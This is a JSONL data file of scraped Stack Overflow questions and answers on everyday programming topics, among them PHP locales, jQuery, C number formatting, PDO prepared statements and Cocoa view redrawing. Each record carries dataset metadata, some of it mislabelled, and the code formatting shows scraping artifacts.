{"id": "hf_95b53c288db9", "question": "<p>Is there an easy way to parse the user's HTTP_ACCEPT_LANGUAGE and set the locale in PHP?</p>\n\n<p>I know the Zend framework has a method to do this, but I'd rather not install the whole framework just to use that one bit of functionality.</p>\n\n<p>The PEAR I18Nv2 package is in beta and hasn't been changed for almost three years, so I'd rather not use that if possible.</p>\n\n<p>Also nice would be if it could figure out if the server was running on Windows or not, since Windows's locale strings are different from the rest of the world's... (German is \"deu\" or \"german\" instead of \"de\".)</p>\n", "question_body": "", "answer": "Nice solution is\non its way\n.\nWithout that you'll need to parse that header. It's a comma-separated list of semicolon-separated locales and attributes.\nIt can look like this:\n```\n```\nen_US, en;q=0.8, fr_CA;q=0.2, *;q=0.1\n```\n```\nand then try each locale until\n```\nsetlocale()\n```\naccepts it. Be prepared that none of them may match.\nDon't base on it anything too important or allow users to override it, because some users may have misconfigured browsers.\nFor Windows locale, perhaps you need to convert ISO 639-1 names to ISO 639-2/3?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:57.898909"}
{"id": "hf_6a599ebfb26e", "question": "<p>Is there any way to detect, through WSH, which workstations, in a windows domain, has a locked session?</p>\n", "question_body": "", "answer": "http://www.microsoft.com/technet/scriptcenter/resources/qanda/nov04/hey1115.mspx\nIf you scroll down, there is a check if computer is locked script on the page.  The script basically grabs the running processes for the machine and looks for the scrnsave.exe.\nIt is also worth noting that the author of this script states that he does not know of a foolproof way to determine if a computer is locked.  Hope this helps or at least points you in the right direction.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:57.922760"}
{"id": "hf_7aa9c562220a", "question": "<p>I come from the Java world, where you can hide variables and functions and then run unit tests against them using reflection.  I have used nested functions to hide implementation details of my classes so that only the public API is visible.  I am trying to write unit tests against these nested functions to make sure that I don't break them as I develop.  I have tried calling one of the nested functions like:</p>\n\n<pre><code>def outer():\n    def inner():\n        pass\n\nouter.inner()\n</code></pre>\n\n<p>which results in the error message:</p>\n\n<blockquote>\n  <p>AttributeError: 'function' object has no attribute 'inner'</p>\n</blockquote>\n\n<p>Is there a way for me to write unit tests against these nested functions?  If not, is there a way to trigger the name munging for function names like you can for class variables by prefixing them with __?</p>\n", "question_body": "", "answer": "inner doesn't exist until outer makes it.  You should either move inner up to a toplevel function for testability, or have the outer test test all the possible execution paths of itself and inner.\nDo note that the inner function isn't a simple function, it's a closure.  Consider this case:\n```\n```\ndef outer(a):\n    b = compute_something_from(a)\n    def inner():\n        do_something_with(a, b)\n```\n```\nThat's the standard testability trade-off.  If your\ncyclomatic complexity\nis too high, your tests will be too numerous.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:57.958554"}
{"id": "hf_642b290e5d55", "question": "<p>I have a row of buttons, which all create a pdf file which I want to open in a new tab.\nThis way the button page stays on top, and the pdf's open to get printed. To prevent clicking a button twice I disable the button, like this (I use python):</p>\n\n<pre><code>&lt;input type='submit' value='Factureren' name='submitbutton' id='%s'\nonclick=\"javascript:document.getElementById('%s').disabled=true; \ndocument.getElementById('%s').className='button_disabled';\"&gt; % ((but_id,) *3)\n</code></pre>\n\n<p>In FF3 this works fine, i.e. the form is submitted, the script executed and then the button disables. In IE the button just disables, but the form script isn't executed.</p>\n\n<p>Is there a solution to this IE problem?</p>\n", "question_body": "", "answer": "It is easier to do:\n```\n```\n<input type='submit' value='Factureren' name='submitbutton' id='%s' \nonclick=\"this.disabled=true; this.className='button_disabled';\"> % ((but_id,) *3)\n```\n```\nI don't know if this solves your problem but it is what I would do in a case like this. I think you don't need \"javascript:\" anyway.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:57.982535"}
{"id": "hf_66b25bcc25cf", "question": "<p>I am trying to find out how to use usercontrols in asp.net mvc.  I know how to add a usercontrol to a view and how to pass data to it.  What I haven't been able to figure out is how do you do this without having to retrieve and pass the data in every single controller?</p>\n\n<p>For example, if I have a user control that displays the most recent posts on several but not all the pages in the site, how do I write the Controllers so that I get data for that usercontrol and pass it to the user control from only one place in the web site instead of getting and passing data in each of the different controllers that the user control is used in?</p>\n\n<p>I'm not sure if this makes sense or not.  Is there a better or recommended way to handle an \"island\" of data that you want to display on several pages?</p>\n\n<p>I'm coming from web forms where I could just write a user control that got its own data and displayed data independently from the rest of whatever page it is used on.</p>\n", "question_body": "", "answer": "Refactor the code that obtains the view data for this user control into it's own method, maybe even it's own model (class).  Call this method from each controller that needs to populate the control and pass the results in the ViewData with a well-known key.  You might even want to pass the type of the current controller to your method in case it needs to know what data to retrieve based on the base model for the controller.\n```\n```\nViewData[\"RecentPosts\"] = RecentPosts.GetRecentPosts( this.GetType() );\n```\n```\nIn your control, retrieve the data using the well-known key.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:58.082057"}
{"id": "hf_1e262ad5fc26", "question": "<p>Is there any provable reason why I should always specify the SQL data type for SqlCommand paramenters?</p>\n", "question_body": "", "answer": "The only time I've run into a case when I had to specify a data type was when passing in DBNull.  When I wasn't specifying a data type, it defaulted to a Varchar, and ended up crashing because I was trying to set an integer value to Null.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:58.105312"}
{"id": "hf_8030c0d03c94", "question": "<p>Recently I've been doing a lot of modal window pop-ups and what not, for which I used jQuery. The method that I used to create the new elements on the page has overwhelmingly been along the lines of: </p>\n\n<pre><code>$(\"&lt;div&gt;&lt;/div&gt;\");\n</code></pre>\n\n<p>However, I'm getting the feeling that this isn't the best or the most efficient method of doing this. What is the best way to create elements in jQuery from a performance perspective?</p>\n\n<p><a href=\"https://stackoverflow.com/a/268520/32943\">This answer</a> has the benchmarks to the suggestions below.</p>\n", "question_body": "", "answer": "I think you're using the best method, though you could optimize it to:\n```\n```\n$(\"<div/>\");\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:58.215213"}
{"id": "hf_d4ed235187d1", "question": "<p>I'm trying to get Cruisecontrol.NET running with Server 2008/IIS7 and when I try and navigate to the dashboard I get the following error:\nHTTP Error 404.17 - Not Found\nThe requested content appears to be script and will not be served by the static file handler.</p>\n\n<p>I'm a bit lost in IIS7 so it could be something pretty straightforward. They (cc.net) do some funny stuff with http handlers in the web.config which may be related to the problem:</p>\n\n<p>\n            \n            \n            \n        </p>\n\n<p>Anyone have any pointers?</p>\n", "question_body": "", "answer": "Is the dashboard set up as an application in IIS?\nI've not used IIS7, but I know in IIS6 you need to enable an application and assign it to an app pool before you can run ASPX code.\nEDIT:\nThis works in IIS6.\nOpen the IISAdmin tool on the web server.  Expand the web sites folder. Find the virtual directory (directories?) for CruiseControl.  Right-click on it and look at properties.  On the directory tab, create a new application and give it a suitable name.  Enable the application to execute \"scripts only\".  Assign it to an application pool (you may want to create a new one just for this application -- consult the help documentation for this).  You may also need to change the ASP.NET version   You can do this on the ASP.NET tab -- choose either v1.1 or v2.0, whichever CruiseControl requires.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:58.238481"}
{"id": "hf_50dc11538ed6", "question": "<p>I have been attempting to create a new directory for my apache server. As I tried to access the new directory, I type:</p>\n\n<p>sudo /etc/init.d/apache2 restart</p>\n\n<p>But I obtain this error in the Ubuntu Terminal:</p>\n\n<p>Syntax Error on line 1 of /etc/apache2/conf.d/fqdn.save:\nServerName takes one argument, the Hostname and port of the server.</p>\n\n<p>As I investigate, the fqdn.save file could not be accessed and is considered unknown. I want to delete this file, but I'm unable to as I believe I need root access. </p>\n\n<p>Does anyone know how to delete this unwanted file in Ubuntu? Or does anyone know how to redirect the apache2 restart to /etc/apache2/conf.d/fqdn (instead of fqdn.save) when I type \"sudo /etc/init.d/apache restart\" on the terminal</p>\n\n<p>please and thank you</p>\n", "question_body": "", "answer": "You need to be inside the group that has permissons to write that file and that would be probably apache and root (both user and group), im not quite sure about the group name of apache in ubuntu but if you are a regular user im afraid you would not be able to just delete the file, ask the system administrator or someone who has permissions over that file.\nOn the other hand, deleting the file will not work if the init script \"apache2\" has a link to it, instead you would get probably a different error saying that the file could not be found.\nSo your problem seems to be that you have the init script of apache trying to access a wrong filename, I believe that the solution is to edit the init script of apache and point it to the right filename and that would be fqdn instead of fqdn.save", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:58.348728"}
{"id": "hf_ab8a4ec5bccf", "question": "<p>web2py to is a Python framework but shares the  \"convention over configuration\" design that Ruby on Rails has. On the plus side it packages a lot more functionality with its s standard distribution and we claim it is faster and easier to use.</p>\n\n<p>Has any Rails user tried it? What is your impression?</p>\n\n<p>No rants please. Just technical comments.</p>\n", "question_body": "", "answer": "I would say the biggest \"con\" of using webpy over Rails is that there are not a lot of Rails-specific hosting services around, and the huge community based around it (there are Rails plugins and tools for.. everything). The same cannot be said for web2py.\nIt depends what you want to do with it - if it's something to write your personal site with, and you already have a server to host it on, use whatever you prefer. If it's something to distribute for others to run, Rails has more options for hosting, and a bigger community, so it may be a better choice.\nTechnical differences are rather irrelevant. Every framework can basically do the same (generate web-pages). What is important is community, ease of use, useful feature-sets, ability to host it and so on - and those are all really subjective.\nI still use PHP quite often, not because \"it's better\", but because I can host it on a huge majority of web-hosts. I also use Rails because as it has a good, and very active community. The actually technicalities of the framework wasn't ever a consideration, really..\nI could probably put together a list of why web2py is \"better\"/\"worse\" than Rails - Rails may be 0.04sec/request slower at generating templates containing loops, or web2py may have a good DB model generator, or some other technical reason -  but those may not be relevant to you at all", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:58.372247"}
{"id": "hf_b99e73281529", "question": "<p>How can I enable Emacs key bindings in Microsoft Visual C# 2008 Express Edition?</p>\n", "question_body": "", "answer": "It seems that the Emacs keybinding file (\nEmacs.vsk\n) it's not included on Visual Studio Express Editions, however you might be able to find it and use it :-)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:58.408261"}
{"id": "hf_f15e9437946c", "question": "<p>Using Morph Labs' Appspace to deploy a site means no automated way to redirect 'myapp.com' to 'www.myapp.com' (and no access to .htacess).</p>\n\n<p>Is there an in-rails way to do this? Would I need a plugin like <a href=\"http://github.com/mbleigh/subdomain-fu/tree/master\" rel=\"nofollow noreferrer\">subdomain-fu</a>?</p>\n\n<p>More specifically, I'm trying to do something like:</p>\n\n<ul>\n<li>'myapp.com' => 'www.myapp.com'</li>\n<li>'myapp.com/session/new' => 'www.myapp.com/session/new'</li>\n</ul>\n\n<p>Basically, I always want the 'www' subdomain prepended on every request (because the SSL cert specifically has a common name of 'www.myapp.com').</p>\n", "question_body": "", "answer": "Here is a couple of different ways:\n```\n```\nhead :moved_permanently, :location => ‘http://www.newdomain.com’\n```\n```\nanother:\n```\n```\ndef rails_301\nheaders[\"Status\"] = \"301 Moved Permanently\"\nredirect_to \"http://www.newdomain.com\"\nend\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:58.433297"}
{"id": "hf_ffa5fa1d3675", "question": "<p>I really want to use SimpleDB, but I worry that without real locking and transactions the entire system is fatally flawed. I understand that for high-read/low-write apps it makes sense, since eventually the system becomes consistent, but what about that time in between? Seems like the right query in an inconsistent db would perpetuate havoc throughout the entire database in a way that's very hard to track down. Hopefully I'm just being a worry wart...</p>\n", "question_body": "", "answer": "This is the pretty classic battle between consistency and scalability and - to some extent - availability.  Some data doesn't always need to be that consistent.  For instance, look at digg.com and the number of diggs against a story.  There's a good chance that value is duplicated in the \"digg\" record rather than forcing the DB to do a join against the \"user_digg\" table.  Does it matter if that number isn't perfectly accurate?  Probably not.  Then using something like SimpleDB might be a good fit.  However if you are writing a banking system, you should probably value consistency above all else. :)\nUnless you know from day 1 that you have to deal with massive scale, I would stick to simple more conventional systems like RDBMS.  If you are working somewhere with a reasonable business model, you will hopefully see a big spike in revenue if there's a big spike in traffic.  Then you can use that money to help solving the scaling problems.  Scaling is hard and scaling is hard to predict.  Most of the scaling problems that hurt you will be ones that you never expect.\nI would much rather get a site off the ground and spend a few weeks fixing scale issues when traffic picks up then spend so much time worrying about scale that we never make it to production because we run out of money. :)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:58.519707"}
{"id": "hf_4b1d5f7ccff1", "question": "<p>The list <code>sort()</code> method is a modifier function that returns <code>None</code>.</p>\n\n<p>So if I want to iterate through all of the keys in a dictionary I cannot do:</p>\n\n<pre><code>for k in somedictionary.keys().sort():\n    dosomething()\n</code></pre>\n\n<p>Instead, I must:</p>\n\n<pre><code>keys = somedictionary.keys()\nkeys.sort()\nfor k in keys:\n    dosomething()\n</code></pre>\n\n<p>Is there a pretty way to iterate through these keys in sorted order without having to break it up in to multiple steps?</p>\n", "question_body": "", "answer": "Can I answer my own question?\nI have just discovered the handy function \"sorted\" which does exactly what I was looking for.\n```\nfor k in sorted(somedictionary.keys()):\n    dosomething()\n```\nIt shows up in\nPython 2.5 dictionary 2 key sort", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:58.559642"}
{"id": "hf_7dd72ca6b076", "question": "<p>I have been noticing on my trackers that bots are visiting my site ALOT. Should I change or edit my robots.txt or change something? Not sure if thats good, because they are indexing or what?</p>\n", "question_body": "", "answer": "Should i change or edit my robots.txt or change something?\nDepends on the bot. Some bots will dutifully ignore robots.txt. \nWe had a similar problem 18 months ago with the google AD bot because our customer was purchasing Soooo many ads. \nGoogle AD bots will (as documented) ignore wildcard (*) exclusions, but listen to explicit ignores.\nRemember, bots that honor robots.txt will just not crawl your site. This is undesirable if you want them to get access to your data for indexing.\nA better solution is to throttle or supply static content to the bots.\nNot sure if thats good, because they are indexing or what?\nThey could be indexing/scraping/stealing. All the same really. What I think you want is to throttle their http request processing based on UserAgents. How to do this depends on your web server and app container.\nAs suggested in other answers, if the bot is malicious, then you'll need to either find the UserAgent pattern and send them 403 forbiddens. Or, if the malicious bots dynamically change user agent strings you have a two further options:\nWhite-list UserAgents - e.g. create a user agent filter that only accepts certain user agents. This is very imperfect.\nIP banning - the http header will contain the source IP. Or, if you're getting DOS'd (denial of service attack), then you have bigger problems", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:58.583441"}
{"id": "hf_2dd2c8a18605", "question": "<p>Now I have a stack of free time on my hands, I wanna get into iphone dev fo real.</p>\n\n<p>But Objective C scares me (a bit). It feels I'm going a bit back in time. I say this because I've spent the last 8 months coding in C++.</p>\n\n<p><a href=\"http://inexdo.com/JSCocoa\" rel=\"nofollow noreferrer\">JSCocoa</a> looks awesome, but does this actually work on the iphone?</p>\n\n<p>What would need to be done to get this working on the iphone?</p>\n", "question_body": "", "answer": "(Hi, I'm the JSCocoa dev) \nJSCocoa works on the iPhone simulator. Check out the latest version from Google svn and compile iPhoneTest2.\nTo work on the iPhone, it needs libffi. I've seen\nhttp://code.google.com/p/iphone-dev/source/browse/trunk/llvm-gcc-4.0-iphone/\nand some libffi posts regarding Python for iPhone, but have not tested any further.\nAlso I don't own an iPhone, so testing will mostly be up to someone who owns one :)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:58.632428"}
{"id": "hf_fd2cafa9bac4", "question": "<p><a href=\"http://thedailywtf.com/Articles/nice_num,-mean_programmer.aspx\" rel=\"nofollow noreferrer\">The Daily WTF</a> for 2008-11-28 pillories the following code:</p>\n\n<pre><code>static char *nice_num(long n)\n{\n    int neg = 0, d = 3;\n    char *buffer = prtbuf;\n    int bufsize = 20;\n\n    if (n &lt; 0)\n    {\n        neg = 1;\n        n = -n;\n    }\n    buffer += bufsize;\n    *--buffer = '\\0';\n\n    do\n    {\n        *--buffer = '0' + (n % 10);\n        n /= 10;\n        if (--d == 0)\n        {\n            d = 3;\n            *--buffer = ',';\n        }\n    }\n    while (n);\n\n    if (*buffer == ',') ++buffer;\n    if (neg) *--buffer = '-';\n    return buffer;\n}\n</code></pre>\n\n<p>How would you write it?</p>\n", "question_body": "", "answer": "If you're a seasoned C programmer, you'll realize this code isn't actually that bad.  It's relatively straightforward (for C), and it's blazingly fast.  It has three problems:\nIt fails on the edge case of LONG_MIN (-2,147,483,648), since negating this number produces itself in twos-complement\nIt assumes 32-bit integers - for 64-bit longs, a 20-byte buffer is not big enough\nIt's not thread-safe - it uses a global static buffer, so multiple threads calling it at the same time will result in a race condition\nProblem #1 is easily solved with a special case.  To address #2, I'd separate the code into two functions, one for 32-bit integers and one for 64-bit integers.  #3 is a little harder - we have to change the interface to make completely thread-safe.\nHere is my solution, based on this code but modified to address these problems:\n```\n```\nstatic int nice_num(char *buffer, size_t len, int32_t n)\n{\n  int neg = 0, d = 3;\n  char buf[16];\n  size_t bufsize = sizeof(buf);\n  char *pbuf = buf + bufsize;\n\n  if(n < 0)\n  {\n    if(n == INT32_MIN)\n    {\n      strncpy(buffer, \"-2,147,483,648\", len);\n      return len <= 14;\n    }\n\n    neg = 1;\n    n = -n;\n  }\n\n  *--pbuf = '\\0';\n\n  do\n  {\n    *--pbuf = '0' + (n % 10);\n    n /= 10;\n    if(--d == 0)\n    {\n      d = 3;\n      *--pbuf = ',';\n    }\n  }\n  while(n > 0);\n\n  if(*pbuf == ',') ++pbuf;\n  if(neg) *--pbuf = '-';\n\n  strncpy(buffer, pbuf, len);\n  return len <= strlen(pbuf);\n}\n```\n```\nExplanation: it creates a local buffer on the stack and then fills that in in the same method as the initial code.  Then, it copies it into a parameter passed into the function, making sure not to overflow the buffer.  It also has a special case for INT32_MIN.  The return value is 0 if the original buffer was large enough, or 1 if the buffer was too small and the resulting string was truncated.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:58.656583"}
{"id": "hf_fbd62df270a5", "question": "<p>Is there any supported way of mapping datetimeoffset the new datatype in SQL 2008 to the System.DateTimeOffset using nhibernate?</p>\n", "question_body": "", "answer": "(Assuming google didn't turn of anything)\nYou will probably need to create a simple IUserType to handle this, also I am sure that the NH team would gladly accept it as a patch for everyone to benifit.\nAyende has a good post\nhere\non this.  He goes though a couple of options to solve his problem so you might want to start from the bottom of the post (not the comments) and go up.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:58.705872"}
{"id": "hf_6870dfaf837d", "question": "<p>I'm planning to write a aspx pages on Windows XP machine. I have IIS 7.0 enabled and virtual directory setup. Are aspx page developments allowed on Win XP?</p>\n", "question_body": "", "answer": "Yes, you can develop ASP.NET pages (.aspx) on Windows XP. XP only runs IIS 5.1, however you don't even need IIS installed as Visual Web Developer Express has a built-in web server you can use during development.. To get started, I would go to\nhttp://www.microsoft.com/express/\nand download Microsoft Visual Web Developer Express. After doing that, go to\nhttp://www.asp.net/get-started/\nto learn the basics. Post any questions or problems you encounter back here on StackOverflow.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:58.765674"}
{"id": "hf_89129027cf20", "question": "<p>How would you write a prepared MySQL statement in PHP that takes a differing number of arguments each time? An example such query is:</p>\n\n<pre class=\"lang-sql prettyprint-override\"><code>SELECT `age`, `name` FROM `people` WHERE id IN (12, 45, 65, 33)\n</code></pre>\n\n<p>The <code>IN</code> clause will have a different number of <code>id</code>s each time it is run.</p>\n\n<p>I have two possible solutions in my mind but want to see if there is a better way.</p>\n\n<p><strong>Possible Solution 1</strong> Make the statement accept 100 variables and fill the rest with dummy values guaranteed not to be in the table; make multiple calls for more than 100 values.</p>\n\n<p><strong>Possible Solution 2</strong> Don't use a prepared statement; build and run the query checking stringently for possible injection attacks.</p>\n", "question_body": "", "answer": "I can think of a couple solutions.\nOne solution might be to create a temporary table.  Do an insert into the table for each parameter that you would have in the in clause.  Then do a simple join against your temporary table.\nAnother method might be to do something like this.\n```\n```\n$dbh=new PDO($dbConnect, $dbUser, $dbPass);\n$parms=array(12, 45, 65, 33);\n$parmcount=count($parms);   // = 4\n$inclause=implode(',',array_fill(0,$parmcount,'?')); // = ?,?,?,?\n$sql='SELECT age, name FROM people WHERE id IN (%s)';\n$preparesql=sprintf($sql,$inclause);  // = example statement used in the question\n$st=$dbh->prepare($preparesql);\n$st->execute($parms);\n```\n```\nI suspect, but have no proof, that the first solution might be better for larger lists, and the later would work for smaller lists.\nTo make @orrd happy here is a terse version.\n```\n```\n$dbh=new PDO($dbConnect, $dbUser, $dbPass);\n$parms=array(12, 45, 65, 33);\n$st=$dbh->prepare(sprintf('SELECT age, name FROM people WHERE id IN (%s)',\n                          implode(',',array_fill(0,count($parms),'?'))));\n$st->execute($parms);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:58.789977"}
{"id": "hf_c47b554f719a", "question": "<p>Does anyone know how the built in dictionary type for python is implemented?  My understanding is that it is some sort of hash table, but I haven't been able to find any sort of definitive answer.</p>\n", "question_body": "", "answer": "Python Dictionaries use\nOpen addressing\n(\nreference inside Beautiful code\n)\nNB!\nOpen addressing\n, a.k.a\nclosed hashing\nshould, as noted in Wikipedia, not be confused with its opposite\nopen hashing!\nOpen addressing means that the dict uses array slots, and when an object's primary position is taken in the dict, the object's spot is sought at a different index in the same array, using a \"perturbation\" scheme, where the object's hash value plays part.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:58.838554"}
{"id": "hf_ea5fc3177db0", "question": "<p>I am working on some sort of CRM application which has huge sales data with all the customer leads etc (ASP.NET 2.0/Ajax)</p>\n\n<p>I want to create a dashboard which will have four separate data containers each container will have different sort of data and each container has to update it  self after some configured time interval. so I want to update only that part of page not whole page</p>\n\n<p>What should I used in the above scenario asp.net updatePanel or jQuery implementation (which technique and why)</p>\n\n<p>Because performance is also important here.</p>\n", "question_body": "", "answer": "Both ASP.NET UpdatePanel or jQuery (or a mix of both) would serve you fine on this scenario; if you don't have experience with neither, I would recommend the UpdatePanel way because it is closer to the regular ASP.NET code you're used to.\nThis article\nwill get you 90% there, all you have to do at the end is to put some simple javascript in place to fire the updates every X seconds; something like\n```\nwindow.setTimeout(\"Button1.click()\",5000)\n```\nif you want to refresh a panel every 5 seconds. If you don't want the button to be available for the users, just make it hidden via CSS.\nThere are more elegant approaches (using JSON, webservices, client-side templating etc) but that's an easy way to get the job done.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:58.874549"}
{"id": "hf_2a0fb96047f4", "question": "<p>I'm using Junit 4.4 and Ant 1.7.  If a test case fails with an error (for example because a method threw an unexpected exception) I don't get any details about what the error was.</p>\n\n<p>My build.xml looks like this:</p>\n\n<pre><code>&lt;target name=\"test\" depends=\"compile\"&gt;\n&lt;junit printsummary=\"withOutAndErr\" filtertrace=\"no\" fork=\"yes\" haltonfailure=\"yes\" showoutput=\"yes\"&gt;\n  &lt;classpath refid=\"project.run.path\"/&gt;\n  &lt;test name=\"a.b.c.test.TestThingee1\"/&gt;\n  &lt;test name=\"a.b.c.test.NoSuchTest\"/&gt;\n&lt;/junit&gt;\n&lt;/target&gt;\n</code></pre>\n\n<p>When I run \"ant test\" it says (for example) 2 Test runs, 0 failures, 1 error.  It doesn't say \"There is no such test as NoSuchTest\" even though this is completely reasonable and would let me figure out the cause of the error.</p>\n\n<p>Thanks!</p>\n\n<p>-Dan</p>\n", "question_body": "", "answer": "Figured it out :)\nI needed to add a \"formatter\" inside the junit block.\n```\n```\n<formatter type=\"plain\" usefile=\"false\" />\n```\n```\nWhat a PITA.\n-Dan", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:58.908905"}
{"id": "hf_1184042b78f2", "question": "<p>Why is it not advisable to use JavaScript in JSP? One rationale that I can think of is turning off the feature in browser would stop the code from executing. Is there any other reason behind this?</p>\n", "question_body": "", "answer": "JSP is a server side technology. That is - Server parses/compiles all the information and then sends it to the client (i.e. your browser). And then..\nIf received data contains ANY javascript then browser interprets it in its own javascript VM and server is long forgotten by then since HTTP is stateless protocol.\nConsidering \"not recommending JS in web\" I wouldn't bother about it. Most of the sites use JS extensively thus turning it off on the client side would render them mostly useless.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:58.932473"}
{"id": "hf_34fc50e16eec", "question": "<p>I have a problem redrawing a custom view in simple cocoa application. Drawing is based on one parameter that is being changed by a simple NSSlider. However, although i implement -setParameter: and -parameter methods and bind slider's value to that parameter in interface builder i cannot seem to make a custom view to redraw itself.</p>\n\n<p>The code that does redrawing is like this:</p>\n\n<pre><code>- (void)setParameter:(int)newParameter {\n  parameter = newParamter;\n  NSLog(@\"Updated parameter: %d\", parameter);\n  [self setNeedsDisplay:YES];\n}\n</code></pre>\n\n<p>I DO get the message about setting the new parameter although the view doesn't redraw itself. Any ideas are welcome!</p>\n", "question_body": "", "answer": "The usual syntax is:\n```\n[self setNeedsDisplay:YES]\n```\n, although I would assume that that means the same thing. Are you implementing the\n```\n- (void)drawRect:(NSRect)rect\n```\nmethod, or using the\n```\ndrawRect:\n```\nmethod of your superclass?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:58.956614"}
